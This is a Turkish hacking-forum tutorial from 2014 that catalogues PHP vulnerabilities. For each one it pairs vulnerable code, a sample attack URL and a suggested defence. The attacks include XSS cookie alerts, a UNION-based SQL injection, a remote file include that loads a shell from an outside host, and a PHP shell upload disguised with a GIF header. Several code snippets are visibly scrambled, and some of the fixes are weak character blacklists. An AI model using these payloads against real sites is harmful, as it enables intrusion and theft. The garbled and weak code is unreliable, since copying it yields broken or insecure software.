Homepage: http://www.Turkhackteam.net
Date: 18.04.2014
//*
PHP sistemlerde ki zafiyetleri fonksiyonlar ve değişkenler üzerinden ele alacağız.
Bunu sınıflandırmamızın sebebi çoğu arkadaşımızın Php sistemlerde açık bulmakta ve tanımlamakta zorluk çekmesidir.
Bu dökümanın size bug bulma ve tanımlamada yardımcı olacaktır.
*//
Php sistemlerde ilk olarak kaynak kodlarında aşağıdaki değişkenlere göz atmalısınız:
Kod:
$_SERVER$_GET$_COO$_POSTKIEUEST $_FI$_REQLES$_ENVIE_VARS $_HTTP_ENV$_HTTP_COOK_VARS$_HTTP_GET_VARSP_POST_VARS $_HTT$_HTTP_POST_FILES$_HTTP_SERVER_VARS
Php sistemlerde var olan bu değişkenler Input table değişkenleridir.
Örneğin admin giriş sayfasında şifremizi girdiğimiz form alanı $_POST değişkeni ile değere atanıyorsa yapacağımız iş bu değişken alanını incelemek olmalıdır.
Çünkü kontrolsuz inputlar sistemde zaafiyet oluşturur.
Şimdi hepsini teker teker inceleyeceğiz.
__________________________________________________ _____________
[~] Cross Site Scripting Vulnerability (XSS)
XSS kullanıcı odaklı bir açıktır.
Browserler üzerinde; Web sayfalarına inject edilen javascript kodları ile kullanıcıya yönelik saldırı yapılır.
Günümüzde Website sahiplerinin bu açık hakkında bilgisizliği ve tüm tarayıcıların javascript desteği olması XSS açıklarının çok yaygın olduğunu anlamak için yeterlidir.
Peki nasıl meydana gelir?
Temel olarak HTML etiketlerinin(tag) kötüye kullanımına sonucu meydana gelir.
ÖRNEK:
Kod:
<?php$xss = $_GET[’alco’];print $xss ;?>
Örnek atak modülü:
Kod:
#http://127.0.0.1:80/index.php?alco="><scr ipt>alert(********.cookie);</script>
HTML etiketlerinin kötüye kullanımını engellemek gerekir.
Bunun için "htmlspecialchars" fonksiyonunu kullanmalıyız:
Kod:
<?php$xss = $_GET[’alco’];print htmlspecialchars($xss) ;?>
[~] SQL Injection Vulnerability
SQL Injection XSS açıklarının aksine server odaklı bir açıktır.
SQL Injection açıkları user inputlarının(kullanıcı girdilerinin) filtrelenmesinden meydana gelir.
Soracaksınız XSS de filtre eksikliğinden meydana gelmekte farkı ne? Cevap:
SQL Injection: Database ile data alış verişi yaptığımız alanların filtrelenmemesinden kaynaklanır.
XSS: WEB APPLICATION > USER > BROWSER > USER
SQL: WEB APPLICATION > USER > DATABASE > USER
şeklinde meydana gelir.
ÖRNEK:
Kod:
<?php$id= $_GET[’id’];....y= "SELECT * FROM users WHERE id= ’ “ .$id." ;" ...$quer?>
Örnek atak modülü:
Kod:
#http://127.0.0.1:80/index.php?id=1+UNION+SELECT+1,@@version,3,4,5+from+users/*
Burada SQL Injectionda kullanılan "+(artı)" ";(noktalı virgül)" terimleri yasaklayacağız.
Kod:
<?php$id= $_GET[’id’];....k = array("\\\\\\\\"", "\\\\\\\\\\\\\\\\", "/", "*", "’", "=", "- ", "$yasa#", ";", "<", ">", "+", "%");id = str_replace($yasak, "", $id);$$query= "SELECT * FROM users WHERE id= ’ “ .$id." ;" ...?>
Yukarda array kullanarak yasak terimleri dizi içine aldık ve id değerini bu terimlere göre yeniden tanımladık.
__________________________________________________ _____________
[~] Dynamic Evaluation Vulnerability
Php fonksiyonlarının yanlış kullanılması ile meydana gelen bir açık türüdür.
ÖRNEK
Kod:
<?php$fonksiyon = $_GET[’fonksiyon’];$fonksiyon();?>
Örnek atak Modülümüz:
Kod:
#http://127.0.0.1:80/index.php?fonksiyon=phpinfo
DEFANS
Bu açıklar PHP Bugları hakkında bilgisi olmayan acemi coderlerden kaynaklanır.
Asla bu şekilde fonksiyon çağırmayanız.
Büyük problemlerle karşı karşıya kalabilirsiniz.O yüzden fonksiyonları çağırırken:
Kod:
<?phpunction fonksiyon()f{nksiyon = $_GET(’fonksiyon’) pr$foint $fonksiyon ;}?>
__________________________________________________ _____________
[~] Register Globals Vulnerability
Register global çok tehlikeli ve bazen yararlı bir PHP ekidir.
Peki ne işe yarar?
Bildiğiniz gibi $_POST ve $_GET terimlerini php uygulamalarmızda değişkenleri alırken kullanıyoruz.
Register global açık olduğunda bir yarar sağlıyor ve $_GET ya da $_POST kullanmanıza gerek kalmadan direkt olarak input ismini değişken olarak atıyor.Ve az kod yazmanızı sağlıyor.
Ancak bunu php uygulamanıza çok güvendiğiniz zaman kullanınız.Neden?
Çünkü direkt değişkene atanan inputu istediğiniz gibi şekillendirebiliriz.Register Globals PHP 4.1 sürümünden sonra off olarak kapalı şekilde gelmiştir.
ÖRNEK1:
Kod:
<?phpif (isset($admin)) {//Admin Paneline Hoş Geldiniz![...]} else {yaptınız! [...] } ?>//Yanlış giriş
Nasıl atak yaparız?Değişken direkt olarak inputa atandığı için değerini biz belirleyebiliriz.
Örnek atak modülü:
Kod:
#http://127.0.0.1:80/admin.php?admin=1
DEFANS
#Register Globals fonksiyonunu daima kapalı tutunuz.
#Ve yahut kendi insiyatifinizi kullanarak:
Kod:
$is_admin =();
Kod:
<?php$is_admin =()if (isset($is_admin)) {//Admin Paneline Hoş Geldiniz![...]} else {yaptınız! [...] } ?>//Yanlış giriş
Register Global 0n olduğu zaman inputu şekillendirebildiğimize göre çok fazla sayıda açık türü meydana gelebilir.
Kod:
<?phpinclude "$path/kasva.php";?>
Örnek atak modülü:
Kod:
#http://127.0.0.1:80/index.php?path=http://shelliniz.org/?
[~] File Upload Vulnerability
Shell upload açıkları php sistemlerde dosya tiplerinin tam filtre edilememesinden kaynaklanır.
Sadece grafik uzantılı dosyaları upload eden bir uygulamaya kendi php kodlarımızı upload edebiliriz.
ÖRNEK
Kod:
<?php....ILES[’userfile’][’type’] != "image/gif") { ....if($_ F}?>
Ancak dosya uzantısı kontrol edilmiyor.Dosya türü ile uzantısı çok farklı terimlerdir.
Peki nasıl exploit ederiz?Cevap : php dosyamızı gif türünde yollarız:
Php dosyamızın ilk satırına:
"GIF89A" kodunu hepsi büyük harf olarak girmemiz gerekiyor.Küçük harflerle kabul olmaz.
Ve php dosyasının upload edildiğini göreceksiniz.
DEFANS
Dosya uzantılarını yasaklayarak filtre engeli koyabiliriz.
Kod:
$yasak = array(".php", ".phtml", ".php3", ".php4");
(.htaccess dosyası kullanarak ignore* yada deny all# komutları ile bunu yapabilirsiniz.)
En önemliside upload dosyalarına random isim verilmesini sağlayabiliriz.
Böylece php dosyaları upload edilse bile klasör yasak olduğundan ve ismide random olduğundan dosyayı görünteleyemeyecektir.
__________________________________________________ _____________
[~] XPath Injection (XML FUNCTIONS) Vulnerability
Xpath injection SQL Injectiona bir hayli benzeyen bir başka injection çeşididir.
SQL Injectionda SQL databaseye yapılan injection XPath Injectionda XML dosyasına yöneliktir.
Açığı tespit için ilk olarak XPath sorguları gönderen input alanları belirlemek gerekir.
ÖRNEK
Kod:
<?php$test = $_GET[’test’];if ($test){exml_load_file("kasva.xml"); $result = $$xml = simplxml->xpath($test);print_r($result); }?>
Şimdi bu xml dosyasına bakalım:
Kod:
<?xml version="1.0" encoding="UTF-8"?><note><to>kayra</to>ading>Mektup</head<from>kasva</from><heing><bOdy>Seni seviyorum kayra!</bOdy></note>
Evet php dosyamıza göre sorguları gönderelim:
Kod:
Index.php?test=from:#Array ( [0] => SimpleXMLElement Object ( [0] => kasva ) )ndex.php?test=*IleXMLElement Object ( [0] => kayra ) [1] => SimpleXMLElement Object ( [0] => kasva ) [2] => SimpleXMLEl#Array ( [0] => Simpement Object ( [0] => Reminder ) [3] => SimpleXMLElement Object ( [0] => Seni seviyorum kayra! ) )
__________________________________________________ _____________
[~] Hidden Form Manipulation Vulnerability
Bu tür bir açık hidden form alanlarını kullanıcı data geçişi için kullanan her web sayfasında meydana gelebilir.
Hidden form alanlarını manipule ederek c0de inject edebiliriz.Peki nasıl olur bu iş?
Bir çok web programcısı bu alanları kodlarken hidden formlarda bulunan inputları code injectionu engellemek için
"> < " ’" gibi karakterlerden filtrelerler.
Anak bu filtreme datanın hidden forma geçişinden önce olmalıdır.Yani:
DATA - HIDDEN FORM - FILTRE >Bu kullanım güvenlik zaafiyeti yaratır.
DATA - FILTRE - HIDDEN FORM >Güvenli kullanım.
Peki bu açıklar ne tür sayfalarda bulunur; örneğin multi geçişli admin sayflarında admin ismi hidden formlara geçiş yapar.
user-login-HIDDEN FORM-admin-login-HIDDEN FORM-yönetici
ÖRNEK
Örnek bir kullanıma bakalım:
Kod:
<form><input type="hidden" name="username" value="kasva" ></form>
Kod:
<form><input type="hidden" name="username" value="" >kasva"></form>
Ve şimdi xss codumuzu inject edelim:
"> <scr ipt>alert(docu ment.cookie)</script> <a href =" (sonuna kapatıcı tag koymuyoruz)
Bakalım:
Kod:
<form><input type="hidden" name="username" value=""><scr ipt>alert(********.cookie)</script><a name =""></form>
DEFANS
Hidden formlara filtresiz data geçişi yapmayınız!
__________________________________________________ _____________
[~] Backup Files Download Vulnerability
Fazla görülmesede can sıkıcı bir açıktır.
Acemi Web programcıları backup dosyalarını saklarken random olarak adlandırırlar.
ÖRNEK
Kod:
<?php$rnd = rand(1,100);$fp = fopen($rnd.’_backup_.sql’, ’w’);fwrite($fp, $db );fclose($fp);?>
ve 3. satırdada $rnd_backup_.sql ile bu backup dosyalarına atanıyor.
Bruteforce programı ile backup dosya ismini kolayca ele geçebiliriz
Fazla önemsenmeyen bir açık olmasına rağmen, önemli scriptlerde kendine yer buluyor:
Bakınız=> PHP-Fusion 6.00.105 Accessible Database Backups Download Vulnerable
0 yorum :
Yorum Gönder